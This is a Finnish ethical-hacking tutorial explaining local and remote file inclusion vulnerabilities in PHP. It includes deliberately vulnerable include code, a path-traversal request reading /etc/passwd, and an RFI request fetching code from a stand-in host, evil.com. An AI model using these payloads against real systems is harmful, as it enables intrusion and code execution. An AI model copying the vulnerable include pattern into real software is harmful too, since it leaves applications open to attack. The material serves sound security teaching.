LFI / RFI

Mitä ovat LFI/RFI haavoittuvuudet?

Helppo
15 min

Paikallinen tiedostojen sisällytys (tunnetaan myös nimellä LFI tai local file inclusion) on haavoittuvuus, jossa sisällytetään (include) kooditiedostoja virheellisesti niin, hyökkääjä pääsee vaikuttamaan koodiin jonka sovellus sisällyttää, joka tyypillisesti johtaa mielivaltaisen koodin suorittamiseen (RCE / remote code execution).

Tämä haavoittuvuus ilmenee esimerkiksi silloin, kun sivu saa syötteenä sovelluksen käyttäjältä arvon jota käytetään vaarallisesti tiedostopolun muodostamisessa, jonka jälkeen tiedostopolku (joka on hyökkääjän hallussa) ladataan kooditiedostona osaksi ohjelman suoritusta.

Tällaiset sisällytyshaavoittuvuudet ovat monin tavoin samankaltaisia kuin erilaiset tiedostopolkujen traversointihaavoittuvuudet, mutta sillä kriittisellä erotuksella, että sisällytyshaavoittuvuudet eivät pelkästään paljasta tiedostoja palvelimelta hyökkääjälle, vaan myös suorittavat koodia luetuista tiedostoista.

Haavoittuvuus on yleisin erityisesti vanhoissa (ja vanhanaikaisissa PHP-sovelluksissa).

Joskus sisällytettävän polun ei tarvitse olla paikallinen tiedostopolku, vaan se voi olla myös verkon yli ladattava URL-osoite. Tällöin haavoittuvuus (jonka nimi muuttuu tällaisessa tapauksessa muotoon RFI eli Remote File Inclusion) on erityisen vakava, koska hyökkääjän on helppo kontrolloida koodia joka suoritetaan (sen kun tarjoilee halutun koodin hyökkääjän palvelimelta).

Mihin sisällytys funktioita käytetään?

Tällaisten funktioiden avulla kehittäjä voi jakaa sovelluksen koodin eri osiin, kuten yläpalkkiin, alapalkkiin, navigaatioon, sivupalkkiin ja sisältöön, mikä tekee koodin helpommin hallittavaksi ja uudelleenkäytettäväksi.

PHP-sovelluksen sivu voisi esimerkiksi näyttää seuraavanlaiselta.

<?php
// Pääsivu (main.php)
include('header.php');

// Pääsisältö
echo "Tervetuloa verkkosivulle.";

include('footer.php');
?>

Samanlaisia sisällytys funktioita on PHP-kielessä useita, esimerkiksi require, require_once, include_once, yms. Huonosti tehtynä tämä voi kuitenkin johtaa vakavaan tietoturva-haavoittuvuuteen. Mitä tapahtuu, jos esimerkiksi header.php sijasta sovellus sisällyttäisikin hyökkääjän valitseman kooditiedoston?

LFI - esimerkki

Alla on haavoittuva PHP-sovellus, joka ottaa vastaan parametrin file ja palauttaa kyseisen tiedoston selaimeen. Kyseessä voisi olla esimerkiksi toiminnallisuus verkkosivulla, jolla käyttäjä voi ladata tallentamansa tiedoston takaisin koneelleen.

<?php
if (isset($_GET['file'])) {
    // Get the file name from the URL parameter
    $file = $_GET['file'];

    $file_path = 'uploaded_files/' . $file;

    // Check if the file exists
    if (file_exists($file_path)) {
        // Set the appropriate headers for a file download
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . $file . '"');

        // Include the file
        include($file_path);
        exit;
    } else {
        // If the file doesn't exist, display an error message
        echo "File not found";
    }
}
?>

Normaalissa käytössä HTTP-pyyntö voisi näyttää tältä.

GET /download?file=tiedosto.pdf

Mutta koska sovellus ei suorita minkäänlaista validointia annetulle tiedostonimelle, kyseessä on haavoittuvuus, jota voimme käyttää hyväksi esimerkiksi seuraavalla tavalla.

GET /download?file=../../../../etc/passwd

Eli tässä tapauksessa voimme käyttää ../ kombinaatiota ja kiivetä hakemistopuuta ylös päin ja palauttaa muita tiedostoja kuten järjestelmän omia konfiguraatio-tiedostoja. Voimme myös palauttaa PHP-tiedostoja, joka johtaisi RCE-haavoittuvuuteen, eli voisimme suorittaa PHP-koodia.

RFI - esimerkki

RFI-haavoittuvuus ilmenee hyvin samalla tavalla, eli kyseessä on haavoittuvuus, missä sovellus ei suorita tarpeellista validointia annetulle syötteelle ja mahdollistaa tiedostojen sisällyttämisen ulkoisista palveluista.

<?php
if (isset($_GET['file'])) {
    // Get the file name from the URL parameter
    $file = $_GET['file'];

    include($file.".php");
}
?>

include funktio sallii tiedostojen sisällyttämisen myös etänä ja käytetään yleensä muiden PHP-skriptien sisällyttämiseen ja suorittamiseen. Luonnollisesti on hyvin vaarallista antaa käyttäjän kontrolloida, mitä koodia järjestelmä suorittaa. Hyökkääjä voisi esimerkiksi antaa seuraavanlaisen syötteen.

GET /include?file=http://evil.com/rce

Jolloin sovellus lataisi sekä suorittaisi PHP-koodia osoitteesta http://evil.com/rce.php.

RFI - haavoittuvuudet ovat luonnollisesti paljon harvinaisempia kuin LFI-haavoittuvuudet, kun taas LFI-haavoittuvuuksia löytyy vielä tänä päivänäkin todella usein erilaisista sovelluksista, eivätkä ole ainoastaan ongelma PHP-sovelluksissa. Varsinkin PHP-sovelluksissa LFI-haavoittuvuudet voivat myös sensitiivisen tiedon vuotamisen lisäksi mahdollistaa PHP-koodin sisällyttämisen ja suorittamisen.

hakatemia pro

Valmis ryhtymään eettiseksi hakkeriksi?
Aloita jo tänään.

Hakatemian jäsenenä saat rajoittamattoman pääsyn Hakatemian moduuleihin, harjoituksiin ja työkaluihin, sekä pääset discord-kanavalle jossa voit pyytää apua sekä ohjaajilta että muilta Hakatemian jäseniltä.